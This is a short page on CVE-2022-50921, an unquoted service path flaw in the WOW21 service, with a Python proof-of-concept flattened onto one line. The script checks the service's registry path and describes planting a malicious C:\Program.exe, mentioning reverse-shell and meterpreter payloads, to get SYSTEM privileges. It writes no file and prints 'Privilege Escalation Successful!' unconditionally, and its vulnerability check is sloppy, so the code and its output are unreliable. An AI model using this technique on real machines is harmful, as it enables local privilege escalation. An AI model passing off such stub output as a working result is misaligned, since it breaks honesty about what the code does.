CVE-2022-50921: WOW21服务路径未加引号导致本地权限提升漏洞

# CVE-2022-50921 PoC - Unquoted Service Path Exploitation # Target: WOW21 Service (wowservice.exe) # Vulnerability: Unquoted service path in WOW21 5.0.1.9 import os import sys import subprocess import time def check_unquoted_path(): """Check if WOW21 service has unquoted path vulnerability""" try: # Query registry for WOW21 service configuration result = subprocess.run([ 'cmd.exe', '/c', 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\WOWService" /v ImagePath' ], capture_output=True, text=True) output = result.stdout print(f"[+] Service ImagePath: {output}") # Check if path contains spaces and is not quoted if 'Program Files' in output or 'Program' in output: if '"' not in output: print("[!] VULNERABLE: Service path is unquoted!") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a simple reverse shell payload""" # This would be a real malicious executable in actual attack # For demonstration, we show the structure # Example: Create payload at C:\Program.exe malicious_path = "C:\\Program.exe" # In real attack, this would be a meterpreter/reverse shell payload_code = b'MZ' + b'\x00' * 100 # Minimal PE header print(f"[!] In real attack, malicious executable would be placed at: {malicious_path}") print("[!] When WOW21 service starts, it will execute this file with SYSTEM privileges") return malicious_path def exploit(): """Demonstrate exploitation steps""" print("=" * 60) print("CVE-2022-50921 - WOW21 Unquoted Service Path Exploit") print("=" * 60) if not check_unquoted_path(): print("[-] Service not found or path is properly quoted") return # Step 1: Identify vulnerable service print("\n[Step 1] Identifying vulnerable service path...") vulnerable_path = "C:\\Program Files\\WOW21\\wowservice.exe" print(f"[+] Vulnerable path: {vulnerable_path}") # Step 2: Create malicious executable print("\n[Step 2] Creating malicious executable...") mal_path = create_malicious_executable() # Step 3: Place malicious executable print(f"\n[Step 3] Malicious executable would be placed at: {mal_path}") print("[+] Wait for service restart or trigger service start") # Step 4: Gain SYSTEM privileges print("\n[Step 4] When service starts, malicious code executes with LocalSystem privileges") print("[+] Privilege Escalation Successful!") if __name__ == "__main__": exploit()